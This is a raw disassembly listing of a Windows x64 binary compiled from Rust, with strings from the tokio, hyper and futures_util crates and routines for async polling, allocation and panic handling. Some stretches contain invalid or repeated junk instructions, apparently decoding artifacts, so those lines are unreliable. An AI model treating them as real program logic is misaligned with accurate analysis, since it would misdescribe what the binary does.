test rax, rax
je 0x140061435
lock dec qword [rax]
jne 0x140061435
lea rcx, [rdi + 0x350]
call fcn.140066500
mov rsi, qword [rsp + 0x370]
mov qword [rsi], rbx
mov qword [rsi + 8], r15
lea rcx, [rsi + 0x10]
lea rdx, [rsp + 0x1628]
mov r8d, 0x90
call fcn.140106250
mov rax, rsi
mov cl, 1
mov byte [rdi + 0xbd0], cl
movaps xmm6, xmmword [rsp + 0x19d0]
movaps xmm7, xmmword [rsp + 0x19e0]
movaps xmm8, xmmword [rsp + 0x19f0]
add rsp, 0x1a08
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea rcx, [rsp + 0x1628]
lea rdx, [rsp + 0x1420]
mov r8d, 0x90
call fcn.140106250
mov rbx, r13
mov r15, qword [rsp + 0x98]
cmp byte [rdi + 0x490], 2
jb 0x140061355
jmp 0x14006132a
lea rcx, [rsp + 0xe0]
call fcn.140002f70
lea rcx, [rsp + 0x1c0]
call fcn.14005bac0
mov ebx, 3
cmp byte [rdi + 0x490], 2
jae 0x14006132a
jmp 0x140061355
mov rax, qword [rsp + 0xff0]
test rax, rax
je 0x140061651
cmp eax, 2
jne 0x140061651
lea rcx, [rsp + 0x1008]
call fcn.14002dc90
test al, al
je 0x140061660
mov rax, qword [r15 + 0x70]
mov qword [rsp + 0xc20], rax
movups xmm0, xmmword [r15 + 0x60]
movaps xmmword [rsp + 0xc10], xmm0
movups xmm0, xmmword [r15 + 0x50]
movaps xmmword [rsp + 0xc00], xmm0
movups xmm0, xmmword [r15 + 0x40]
movaps xmmword [rsp + 0xbf0], xmm0
movups xmm0, xmmword [r15]
movups xmm1, xmmword [r15 + 0x10]
movups xmm2, xmmword [r15 + 0x20]
movups xmm3, xmmword [r15 + 0x30]
movaps xmmword [rsp + 0xbe0], xmm3
movaps xmmword [rsp + 0xbd0], xmm2
movaps xmmword [rsp + 0xbc0], xmm1
movaps xmmword [rsp + 0xbb0], xmm0
mov rax, qword [rdi + 0x620]
mov rbx, qword [rax + 0x68]
test rbx, rbx
je 0x140061b55
mov rsi, qword [rax + 0x70]
mov r14, qword [rsi + 0x10]
movzx eax, byte [0x140182310]
mov edx, 0x78
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je 0x140062664
dec r14
and r14, 0xfffffffffffffff0
lea rcx, [rbx + r14]
add rcx, 0x10
mov rdx, qword [rsp + 0xc20]
mov qword [rax + 0x70], rdx
movaps xmm0, xmmword [rsp + 0xc10]
movups xmmword [rax + 0x60], xmm0
movaps xmm0, xmmword [rsp + 0xc00]
movups xmmword [rax + 0x50], xmm0
movaps xmm0, xmmword [rsp + 0xbf0]
movups xmmword [rax + 0x40], xmm0
movdqa xmm0, xmmword [rsp + 0xbb0]
movdqa xmm1, xmmword [rsp + 0xbc0]
movdqa xmm2, xmmword [rsp + 0xbd0]
movdqa xmm3, xmmword [rsp + 0xbe0]
movdqu xmmword [rax + 0x30], xmm3
movdqu xmmword [rax + 0x20], xmm2
movdqu xmmword [rax + 0x10], xmm1
movdqu xmmword [rax], xmm0
lea r8, [0x140140838]
mov rdx, rax
call qword [rsi + 0x18]
jmp 0x1400608ea
cmp qword [rsp + 0xff8], 0
je 0x14006152b
movzx eax, byte [0x140182310]
mov edx, 0x48
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je 0x140062637
mov rsi, rax
mov qword [rax], 1
mov qword [rax + 8], 1
mov qword [rax + 0x10], 0
mov byte [rax + 0x20], 0
mov qword [rax + 0x28], 0
mov byte [rax + 0x38], 0
mov word [rax + 0x40], 0
lock inc qword [rax]
jle case.0x14005cc14.2
mov rbx, qword [rsp + 0x1018]
test rbx, rbx
jne 0x1400616f1
movzx eax, byte [0x140182310]
mov edx, 0x10
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je 0x1400626a8
mov rbx, rax
mov qword [rax], 2
mov qword [rsp + 0x1018], rax
mov rcx, rbx
call fcn.140034e70
mov qword [rbx], 0
mov qword [rbx + 8], rsi
mov rax, qword [r15 + 0x70]
mov qword [rsp + 0xba0], rax
movups xmm0, xmmword [r15 + 0x60]
movaps xmmword [rsp + 0xb90], xmm0
movups xmm0, xmmword [r15 + 0x50]
movaps xmmword [rsp + 0xb80], xmm0
movups xmm0, xmmword [r15 + 0x40]
movaps xmmword [rsp + 0xb70], xmm0
movups xmm0, xmmword [r15]
movups xmm1, xmmword [r15 + 0x10]
movups xmm2, xmmword [r15 + 0x20]
movups xmm3, xmmword [r15 + 0x30]
movaps xmmword [rsp + 0xb60], xmm3
movaps xmmword [rsp + 0xb50], xmm2
movaps xmmword [rsp + 0xb40], xmm1
movaps xmmword [rsp + 0xb30], xmm0
mov rax, qword [rdi + 0x620]
mov r14, qword [rax + 0x68]
test r14, r14
je 0x14006182e
mov rbx, qword [rax + 0x70]
mov r15, qword [rbx + 0x10]
movzx eax, byte [0x140182310]
mov edx, 0x80
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je 0x140062655
dec r15
and r15, 0xfffffffffffffff0
lea rcx, [r14 + r15]
add rcx, 0x10
mov qword [rax], rsi
movaps xmm0, xmmword [rsp + 0xb30]
movdqa xmm1, xmmword [rsp + 0xb40]
movdqa xmm2, xmmword [rsp + 0xb50]
movdqa xmm3, xmmword [rsp + 0xb60]
movups xmmword [rax + 8], xmm0
movdqu xmmword [rax + 0x18], xmm1
movdqu xmmword [rax + 0x28], xmm2
movdqu xmmword [rax + 0x38], xmm3
movaps xmm0, xmmword [rsp + 0xb70]
movups xmmword [rax + 0x48], xmm0
movaps xmm0, xmmword [rsp + 0xb80]
movups xmmword [rax + 0x58], xmm0
movdqa xmm0, xmmword [rsp + 0xb90]
movdqu xmmword [rax + 0x68], xmm0
mov rdx, qword [rsp + 0xba0]
mov qword [rax + 0x78], rdx
lea r8, [0x140140798]
mov rdx, rax
call qword [rbx + 0x18]
jmp 0x1400608ea
mov eax, 1
lock xadd qword [0x140182050], rax
mov qword [rsp + 0x1140], rax
lea rax, [rsp + 0x1140]
mov qword [rsp + 0x460], rax
mov qword [rsp + 0x468], rsi
movups xmm0, xmmword [r15]
movdqu xmm1, xmmword [r15 + 0x10]
movdqu xmm2, xmmword [r15 + 0x20]
movdqu xmm3, xmmword [r15 + 0x30]
movups xmmword [rsp + 0x470], xmm0
movdqu xmmword [rsp + 0x480], xmm1
movdqu xmmword [rsp + 0x490], xmm2
movdqu xmmword [rsp + 0x4a0], xmm3
movups xmm0, xmmword [r15 + 0x40]
movups xmmword [rsp + 0x4b0], xmm0
movups xmm0, xmmword [r15 + 0x50]
movups xmmword [rsp + 0x4c0], xmm0
movups xmm0, xmmword [r15 + 0x60]
movups xmmword [rsp + 0x4d0], xmm0
mov rax, qword [r15 + 0x70]
mov qword [rsp + 0x4e0], rax
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x14006191c
test eax, eax
jne 0x1400627ea
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rsi, qword [rcx + rax*8]
lea rcx, [rsi + 0xd0]
lea rdx, [0x1400e42d0]
call fcn.1400d4a00
mov byte [rsi + 0x120], 1
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rax, qword [rax + 0xd0]
movabs rcx, 0x7ffffffffffffffe
cmp rax, rcx
ja 0x140062584
inc rax
mov ecx, dword [0x140182314]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov qword [rcx + 0xd0], rax
mov rsi, qword [rcx + 0xd8]
lea rcx, [rsp + 0xe0]
lea rdx, [rsp + 0x460]
mov r8d, 0x88
call fcn.140106250
cmp rsi, 2
je 0x1400626b7
mov rax, qword [rsp + 0xe0]
movups xmm0, xmmword [rsp + 0x158]
movaps xmmword [rsp + 0x6c0], xmm0
movups xmm0, xmmword [rsp + 0x148]
movaps xmmword [rsp + 0x6b0], xmm0
movups xmm0, xmmword [rsp + 0x138]
movaps xmmword [rsp + 0x6a0], xmm0
movups xmm0, xmmword [rsp + 0x128]
movaps xmmword [rsp + 0x690], xmm0
movups xmm0, xmmword [rsp + 0x118]
movaps xmmword [rsp + 0x680], xmm0
movups xmm0, xmmword [rsp + 0x108]
movaps xmmword [rsp + 0x670], xmm0
movups xmm0, xmmword [rsp + 0xf8]
movaps xmmword [rsp + 0x660], xmm0
movups xmm0, xmmword [rsp + 0xe8]
movaps xmmword [rsp + 0x650], xmm0
mov r14, qword [rax]
test rsi, rsi
je 0x140061f06
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rbx, qword [rax + 0xe0]
lock inc qword [rbx]
jle case.0x14005cc14.2
movzx eax, byte [0x140182310]
mov edx, 0x180
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je 0x140062646
mov rdx, rax
and rdx, 0xffffffffffffff80
lea rsi, [rdx + 0x80]
mov qword [rdx + 0x78], rax
lea rcx, [rbx + 0x68]
mov qword [rdx + 0x80], 0xcc
mov qword [rdx + 0x88], 0
lea rax, [0x140140f08]
mov qword [rdx + 0x90], rax
mov qword [rdx + 0x98], 0
mov qword [rdx + 0xa0], rbx
mov qword [rdx + 0xa8], r14
movaps xmm0, xmmword [rsp + 0x650]
movdqa xmm1, xmmword [rsp + 0x660]
movdqa xmm2, xmmword [rsp + 0x670]
movdqa xmm3, xmmword [rsp + 0x680]
movups xmmword [rdx + 0xb0], xmm0
movdqu xmmword [rdx + 0xc0], xmm1
movdqu xmmword [rdx + 0xd0], xmm2
movdqu xmmword [rdx + 0xe0], xmm3
movaps xmm0, xmmword [rsp + 0x690]
movups xmmword [rdx + 0xf0], xmm0
movaps xmm0, xmmword [rsp + 0x6a0]
movups xmmword [rdx + 0x100], xmm0
movaps xmm0, xmmword [rsp + 0x6b0]
movups xmmword [rdx + 0x110], xmm0
movdqa xmm0, xmmword [rsp + 0x6c0]
movdqu xmmword [rdx + 0x120], xmm0
pxor xmm0, xmm0
movdqa xmmword [rdx + 0x130], xmm0
mov qword [rdx + 0x140], 0
jmp 0x140061edb
mov eax, 1
lock xadd qword [0x140182050], rax
mov qword [rsp + 0x1140], rax
lea rax, [rsp + 0x1140]
mov qword [rsp + 0x460], rax
movups xmm0, xmmword [r15]
movdqu xmm1, xmmword [r15 + 0x10]
movdqu xmm2, xmmword [r15 + 0x20]
movdqu xmm3, xmmword [r15 + 0x30]
movups xmmword [rsp + 0x468], xmm0
movdqu xmmword [rsp + 0x478], xmm1
movdqu xmmword [rsp + 0x488], xmm2
movdqu xmmword [rsp + 0x498], xmm3
movups xmm0, xmmword [r15 + 0x40]
movups xmmword [rsp + 0x4a8], xmm0
movups xmm0, xmmword [r15 + 0x50]
movups xmmword [rsp + 0x4b8], xmm0
movups xmm0, xmmword [r15 + 0x60]
movups xmmword [rsp + 0x4c8], xmm0
mov rax, qword [r15 + 0x70]
mov qword [rsp + 0x4d8], rax
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x140061c3b
invalid
test eax, eax
jne 0x140062877
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
xor al, 0xc1
lea rcx, [rsi + 0xd0]
lea rdx, [0x1400e42d0]
call fcn.1400d4a00
mov byte [rsi + 0x120], 1
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rax, qword [rax + 0xd0]
movabs rcx, 0x7ffffffffffffffe
cmp rax, rcx
ja 0x140062584
lea rcx, [rax + 1]
mov edx, dword [0x140182314]
mov r8, qword gs:[0x58]
mov rdx, qword [r8 + rdx*8]
mov qword [rdx + 0xd0], rcx
mov rcx, qword [rdx + 0xd8]
movups xmm0, xmmword [rsp + 0x4d0]
movaps xmmword [rsp + 0x150], xmm0
movups xmm0, xmmword [rsp + 0x4c0]
movaps xmmword [rsp + 0x140], xmm0
movups xmm0, xmmword [rsp + 0x4b0]
movaps xmmword [rsp + 0x130], xmm0
movups xmm0, xmmword [rsp + 0x4a0]
movaps xmmword [rsp + 0x120], xmm0
movups xmm0, xmmword [rsp + 0x460]
movdqu xmm1, xmmword [rsp + 0x470]
movdqu xmm2, xmmword [rsp + 0x480]
movdqu xmm3, xmmword [rsp + 0x490]
movdqa xmmword [rsp + 0x110], xmm3
movdqa xmmword [rsp + 0x100], xmm2
movdqa xmmword [rsp + 0xf0], xmm1
movaps xmmword [rsp + 0xe0], xmm0
cmp rcx, 2
je 0x140062747
mov rax, qword [rsp + 0xe0]
mov rdx, qword [rsp + 0x158]
mov qword [rsp + 0x6c0], rdx
movups xmm0, xmmword [rsp + 0x148]
movaps xmmword [rsp + 0x6b0], xmm0
movups xmm0, xmmword [rsp + 0x138]
movaps xmmword [rsp + 0x6a0], xmm0
movups xmm0, xmmword [rsp + 0x128]
movaps xmmword [rsp + 0x690], xmm0
movups xmm0, xmmword [rsp + 0x118]
movaps xmmword [rsp + 0x680], xmm0
movups xmm0, xmmword [rsp + 0x108]
movaps xmmword [rsp + 0x670], xmm0
movups xmm0, xmmword [rsp + 0xf8]
movaps xmmword [rsp + 0x660], xmm0
movups xmm0, xmmword [rsp + 0xe8]
movaps xmmword [rsp + 0x650], xmm0
mov r14, qword [rax]
test rcx, rcx
je 0x140062035
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rbx, qword [rax + 0xe0]
lock inc qword [rbx]
jle case.0x14005cc14.2
movzx eax, byte [0x140182310]
mov edx, 0x180
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je 0x140062646
mov rdx, rax
and rdx, 0xffffffffffffff80
lea rsi, [rdx + 0x80]
mov qword [rdx + 0x78], rax
lea rcx, [rbx + 0x68]
mov qword [rdx + 0x80], 0xcc
mov qword [rdx + 0x88], 0
lea rax, [0x140140eb8]
mov qword [rdx + 0x90], rax
mov qword [rdx + 0x98], 0
mov qword [rdx + 0xa0], rbx
mov qword [rdx + 0xa8], r14
movaps xmm0, xmmword [rsp + 0x650]
movdqa xmm1, xmmword [rsp + 0x660]
movdqa xmm2, xmmword [rsp + 0x670]
movdqa xmm3, xmmword [rsp + 0x680]
movups xmmword [rdx + 0xb0], xmm0
movdqu xmmword [rdx + 0xc0], xmm1
movdqu xmmword [rdx + 0xd0], xmm2
movdqu xmmword [rdx + 0xe0], xmm3
movaps xmm0, xmmword [rsp + 0x690]
movups xmmword [rdx + 0xf0], xmm0
movaps xmm0, xmmword [rsp + 0x6a0]
movups xmmword [rdx + 0x100], xmm0
movdqa xmm0, xmmword [rsp + 0x6b0]
movdqu xmmword [rdx + 0x110], xmm0
mov rax, qword [rsp + 0x6c0]
mov qword [rdx + 0x120], rax
pxor xmm0, xmm0
movdqu xmmword [rdx + 0x128], xmm0
mov qword [rdx + 0x138], 0
mov rdx, rsi
mov r8, rsi
call fcn.1400654c0
test rax, rax
je 0x140062194
add rbx, 0x10
mov rcx, rbx
mov rdx, rax
xor r8d, r8d
call fcn.1400ec5d0
jmp 0x140062194
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rbx, qword [rax + 0xe0]
lock inc qword [rbx]
jle case.0x14005cc14.2
movzx eax, byte [0x140182310]
mov edx, 0x180
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je 0x140062646
mov rcx, rax
and rcx, 0xffffffffffffff80
lea rsi, [rcx + 0x80]
mov qword [rcx + 0x78], rax
mov qword [rcx + 0x80], 0xcc
mov qword [rcx + 0x88], 0
lea rax, case.0x1400656b8.30
mov qword [rcx + 0x90], rax
mov qword [rcx + 0x98], 0
mov qword [rcx + 0xa0], rbx
add rbx, 0x58
mov qword [rcx + 0xa8], r14
movaps xmm0, xmmword [rsp + 0x650]
movdqa xmm1, xmmword [rsp + 0x660]
movdqa xmm2, xmmword [rsp + 0x670]
movdqa xmm3, xmmword [rsp + 0x680]
movups xmmword [rcx + 0xb0], xmm0
movdqu xmmword [rcx + 0xc0], xmm1
movdqu xmmword [rcx + 0xd0], xmm2
movdqu xmmword [rcx + 0xe0], xmm3
movaps xmm0, xmmword [rsp + 0x690]
movups xmmword [rcx + 0xf0], xmm0
movaps xmm0, xmmword [rsp + 0x6a0]
movups xmmword [rcx + 0x100], xmm0
movaps xmm0, xmmword [rsp + 0x6b0]
movups xmmword [rcx + 0x110], xmm0
movdqa xmm0, xmmword [rsp + 0x6c0]
movdqu xmmword [rcx + 0x120], xmm0
pxor xmm0, xmm0
movdqa xmmword [rcx + 0x130], xmm0
mov qword [rcx + 0x140], 0
jmp 0x14006215f
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rbx, qword [rax + 0xe0]
lock inc qword [rbx]
jle case.0x14005cc14.2
movzx eax, byte [0x140182310]
mov edx, 0x180
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je 0x140062646
mov rcx, rax
and rcx, 0xffffffffffffff80
lea rsi, [rcx + 0x80]
mov qword [rcx + 0x78], rax
mov qword [rcx + 0x80], 0xcc
mov qword [rcx + 0x88], 0
lea rax, [0x140140c88]
mov qword [rcx + 0x90], rax
mov qword [rcx + 0x98], 0
mov qword [rcx + 0xa0], rbx
add rbx, 0x58
mov qword [rcx + 0xa8], r14
movaps xmm0, xmmword [rsp + 0x650]
movdqa xmm1, xmmword [rsp + 0x660]
movdqa xmm2, xmmword [rsp + 0x670]
movdqa xmm3, xmmword [rsp + 0x680]
movups xmmword [rcx + 0xb0], xmm0
movdqu xmmword [rcx + 0xc0], xmm1
movdqu xmmword [rcx + 0xd0], xmm2
movdqu xmmword [rcx + 0xe0], xmm3
movaps xmm0, xmmword [rsp + 0x690]
movups xmmword [rcx + 0xf0], xmm0
movaps xmm0, xmmword [rsp + 0x6a0]
movups xmmword [rcx + 0x100], xmm0
movdqa xmm0, xmmword [rsp + 0x6b0]
movdqu xmmword [rcx + 0x110], xmm0
mov rax, qword [rsp + 0x6c0]
mov qword [rcx + 0x120], rax
pxor xmm0, xmm0
movdqu xmmword [rcx + 0x128], xmm0
mov qword [rcx + 0x138], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov rcx, rbx
mov rdx, rsi
mov r8, rsi
call fcn.1400654c0
test rax, rax
je 0x140062194
mov ecx, dword [0x140182314]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov rcx, qword [rcx + 0xe0]
mov rdx, rax
call fcn.1400eabe0
mov eax, dword [0x140182314]
add eax, 0x12017a
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
dec qword [rax + 0xd0]
mov ecx, 0x84
mov eax, 0xcc
lock cmpxchg qword [rsi], rcx
je 0x1400608ea
mov rax, qword [rsi + 0x10]
mov rcx, rsi
call qword [rax + 0x20]
jmp 0x1400608ea
ud2
lea rcx, str.Flatten_polled_after_completionC:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_futures_util_0.3.30_src_future_future_flatten.rs
lea r8, [0x14013d660]
mov edx, 0x1f
call fcn.14010cf20
lea rcx, str.Map_must_not_be_polled_after_it_returned__Poll::Ready_
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_futures_util_0.3.30_src_future_futuremap.rs8
mov edx, 0x36
call fcn.14010cf20
mov qword [rbp], 1
lea rcx, str.internal_error:_entered_unreachable_code_rustc_c987ad527540e8f1565f57c31204bde33f63df76library_std_src_threadmod.rs
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_futures_util_0.3.30_src_future_futuremap.rs8
mov edx, 0x28
call fcn.140108350
lea rcx, str.not_dropped
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcclientpool.rs
mov edx, 0xb
call fcn.1401086b0
mov ecx, 8
mov edx, 0x20
call fcn.140107fe0
lea rcx, [0x14013fff8]
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcclientconn.rs
mov edx, 0x28
call fcn.14010cf20
lea rcx, [0x14013fff8]
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcclientconn.rs
mov edx, 0x28
call fcn.14010cf20
lea rcx, [rsp + 0x478]
mov rax, qword [rsp + 0x460]
mov rdx, qword [rsp + 0x468]
mov r8, qword [rsp + 0x470]
call qword [rax + 0x10]
movaps xmm0, xmmword [rsp + 0x460]
movdqa xmm1, xmmword [rsp + 0x470]
movdqa xmm2, xmmword [rsp + 0x480]
movdqa xmm3, xmmword [rsp + 0x490]
movaps xmmword [rsp + 0x650], xmm0
movdqa xmmword [rsp + 0x660], xmm1
movdqa xmmword [rsp + 0x670], xmm2
movdqa xmmword [rsp + 0x680], xmm3
movdqa xmm0, xmmword [rsp + 0x4a0]
movdqa xmmword [rsp + 0x690], xmm0
mov rax, qword [rsp + 0x4ad]
mov qword [rsp + 0x69d], rax
mov ebx, r14d
jmp 0x1400623e9
mov ecx, 1
mov edx, 1
call fcn.140107fc0
cmp r13d, 3
ja 0x1400624a2
cmp r13d, 2
je 0x1400624a2
mov rax, qword [rsp + 0xf0]
test rax, rax
jne 0x1400624d7
mov rax, qword [rsp + 0x110]
test rax, rax
je 0x140062379
lea rcx, [rsp + 0x128]
mov rdx, qword [rsp + 0x118]
mov r8, qword [rsp + 0x120]
call qword [rax + 0x10]
movaps xmm0, xmmword [rsp + 0x460]
movdqa xmm1, xmmword [rsp + 0x470]
movdqa xmm2, xmmword [rsp + 0x480]
movdqa xmm3, xmmword [rsp + 0x490]
movaps xmmword [rsp + 0x650], xmm0
movdqa xmmword [rsp + 0x660], xmm1
movdqa xmmword [rsp + 0x670], xmm2
movdqa xmmword [rsp + 0x680], xmm3
movdqa xmm0, xmmword [rsp + 0x4a0]
movdqa xmmword [rsp + 0x690], xmm0
mov rax, qword [rsp + 0x4ad]
mov qword [rsp + 0x69d], rax
mov r15b, 2
jmp 0x1400623e9
mov r15b, 3
mov byte [rsp + 0xe0], r15b
mov byte [rsp + 0xe1], bl
lea rax, [0x14012c090]
mov qword [rsp + 0x20], rax
lea rcx, str.domain_is_valid_Uri
lea r9, [0x14012a6e8]
lea r8, [rsp + 0xe0]
mov edx, 0x13
call fcn.140108600
lea rcx, str.cannot_poll_Select_twiceC:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_futures_util_0.3.30_src_future_select.rs
lea r8, [0x1401423b8]
mov edx, 0x18
call fcn.1401086b0
lea rcx, str.not_dropped
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcclientpool.rs
mov edx, 0xb
call fcn.1401086b0
lea rcx, str.internal_error:_entered_unreachable_code_rustc_c987ad527540e8f1565f57c31204bde33f63df76library_std_src_threadmod.rs
lea r8, [0x1401423d0]
mov edx, 0x28
call fcn.140108350
lea rcx, str.Ready_polled_after_completionC:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_futures_util_0.3.30_src_future_ready.rs
lea r8, [0x140142090]
mov edx, 0x1d
call fcn.1401086b0
mov ecx, 8
mov edx, 0x140
call fcn.140107fe0
mov ecx, 8
mov edx, 0x38
call fcn.140107fe0
lea rcx, [rsi + 0x18]
mov rax, qword [rsi]
mov rdx, qword [rsi + 8]
mov r8, qword [rsi + 0x10]
call qword [rax + 0x10]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsp + 0xf0]
test rax, rax
je 0x140062351
lea rcx, [rsp + 0x108]
mov rdx, qword [rsp + 0xf8]
mov r8, qword [rsp + 0x100]
call qword [rax + 0x10]
mov rax, qword [rsp + 0x110]
test rax, rax
jne 0x14006235e
jmp 0x140062379
mov ecx, 8
mov edx, 0x1b8
call fcn.140107fe0
lea rcx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtimecontextcurrent.rs
call fcn.1401085a0
mov ecx, 0x80
mov edx, 0x280
call fcn.140107fe0
mov rax, qword [rsp + 0xe0]
lea rcx, [rax - 9]
cmp rcx, 2
jb 0x1400628ad
lea rdx, [rax - 6]
cmp rdx, 3
mov ecx, 1
cmovb rcx, rdx
cmp rcx, 1
je 0x140062673
test rcx, rcx
jne 0x1400628ad
mov rax, qword [rsp + 0x650]
lea rcx, [rax - 9]
cmp rcx, 2
jb 0x1400628e9
lea rdx, [rax - 6]
cmp rdx, 3
mov ecx, 1
cmovb rcx, rdx
cmp rcx, 1
je 0x1400627a3
test rcx, rcx
jne 0x1400628e9
mov ecx, 8
mov edx, 0x48
call fcn.140107fe0
mov ecx, 0x80
mov edx, 0x100
call fcn.140107fe0
mov ecx, 8
mov edx, 0x80
call fcn.140107fe0
mov ecx, 8
mov edx, 0x78
call fcn.140107fe0
cmp eax, 5
jne 0x1400627d8
lea rcx, [rsp + 0xe8]
movzx eax, byte [rsp + 0x158]
cmp eax, 2
je 0x1400628a8
cmp eax, 3
je 0x1400628ad
call fcn.140064ad0
jmp 0x1400628ad
mov ecx, 8
mov edx, 0x10
call fcn.140107fe0
cmp byte [rsp + 0x160], 2
je 0x1400628ad
lea rcx, [rsp + 0xf0]
call fcn.140064ad0
mov rsi, qword [rsp + 0xe8]
mov bl, 1
mov al, 1
xchg byte [rsi + 0x40], al
mov al, 1
xchg byte [rsi + 0x20], al
test al, al
jne 0x140062707
mov rax, qword [rsi + 0x10]
mov rcx, qword [rsi + 0x18]
mov qword [rsi + 0x10], 0
xor edx, edx
xchg byte [rsi + 0x20], dl
test rax, rax
je 0x140062707
call qword [rax + 8]
xchg byte [rsi + 0x38], bl
test bl, bl
jne 0x14006272b
mov rax, qword [rsi + 0x28]
mov rcx, qword [rsi + 0x30]
mov qword [rsi + 0x28], 0
test rax, rax
je 0x140062726
call qword [rax + 0x18]
xor eax, eax
xchg byte [rsi + 0x38], al
lock dec qword [rsi]
jne 0x1400628ad
mov rcx, qword [rsp + 0xe8]
call fcn.140066310
jmp 0x1400628ad
cmp byte [rsp + 0x158], 2
je 0x14006277b
lea rcx, [rsp + 0xe8]
call fcn.140064ad0
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rax, qword [rax + 0xd0]
dec rax
mov ecx, dword [0x140182314]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov qword [rcx + 0xd0], rax
jmp 0x1400628c7
cmp eax, 5
jne 0x140062899
lea rcx, [rsp + 0xe0]
call fcn.140064840
jmp 0x1400628ad
cmp byte [rsp + 0x4e0], 2
je 0x1400628e9
lea rcx, [rsp + 0x470]
call fcn.140064ad0
mov rsi, qword [rsp + 0x468]
mov bl, 1
mov al, 1
xchg byte [rsi + 0x40], al
mov al, 1
xchg byte [rsi + 0x20], al
test al, al
jne 0x14006283a
mov rax, qword [rsi + 0x10]
mov rcx, qword [rsi + 0x18]
mov qword [rsi + 0x10], 0
xor edx, edx
xchg byte [rsi + 0x20], dl
test rax, rax
je 0x14006283a
call qword [rax + 8]
xchg byte [rsi + 0x38], bl
test bl, bl
jne 0x14006285e
mov rax, qword [rsi + 0x28]
mov rcx, qword [rsi + 0x30]
mov qword [rsi + 0x28], 0
test rax, rax
je 0x140062859
call qword [rax + 0x18]
xor eax, eax
xchg byte [rsi + 0x38], al
lock dec qword [rsi]
jne 0x1400628e9
mov rcx, qword [rsp + 0x468]
call fcn.140066310
jmp 0x1400628e9
cmp byte [rsp + 0x4d8], 2
je 0x1400628e9
lea rcx, [rsp + 0x468]
call fcn.140064ad0
jmp 0x1400628e9
mov ecx, 7
int 0x29
ud2
call fcn.140035fe0
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
dec qword [rax + 0xd0]
xor eax, eax
mov byte [rsp + 0xe0], al
lea rdx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srccommonexec.rs
lea rcx, [rsp + 0xe0]
call fcn.14010da80
call fcn.140035fe0
mov al, 1
mov byte [rsp + 0xe0], al
lea rdx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srccommonexec.rs
lea rcx, [rsp + 0xe0]
call fcn.14010da80
int3
mov r12, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0x88]
mov eax, dword [rsp + 0x34]
test al, al
jne 0x140063926
jmp 0x140063913
movdqu xmm2, xmmword [rcx + r8]
movdqa xmm3, xmm2
pcmpeqb xmm3, xmm0
pmovmskb r10d, xmm3
test r10d, r10d
mov r11, rdx
jne 0x140063459
pcmpeqb xmm2, xmm1
pmovmskb eax, xmm2
test eax, eax
jne 0x140063bed
add r8, rdx
add r8, 0x10
add rdx, 0x10
and r8, rbx
jmp 0x1400633ea
mov edx, dword [rsp + 0x38]
cmp edx, 1
je 0x1400634b0
test edx, edx
je 0x140064061
lea r10d, [rax - 1]
and r10d, eax
test r10w, r10w
mov rbx, qword [rsp + 0xa8]
mov rdx, r11
je 0x140063405
mov eax, r10d
tzcnt r10d, eax
add r10, r8
and r10, rbx
neg r10
lea r10, [r10 + r10*4]
shl r10, 4
lea r13, [rcx + r10]
movzx r10d, byte [rcx + r10 - 0x50]
cmp r10d, 1
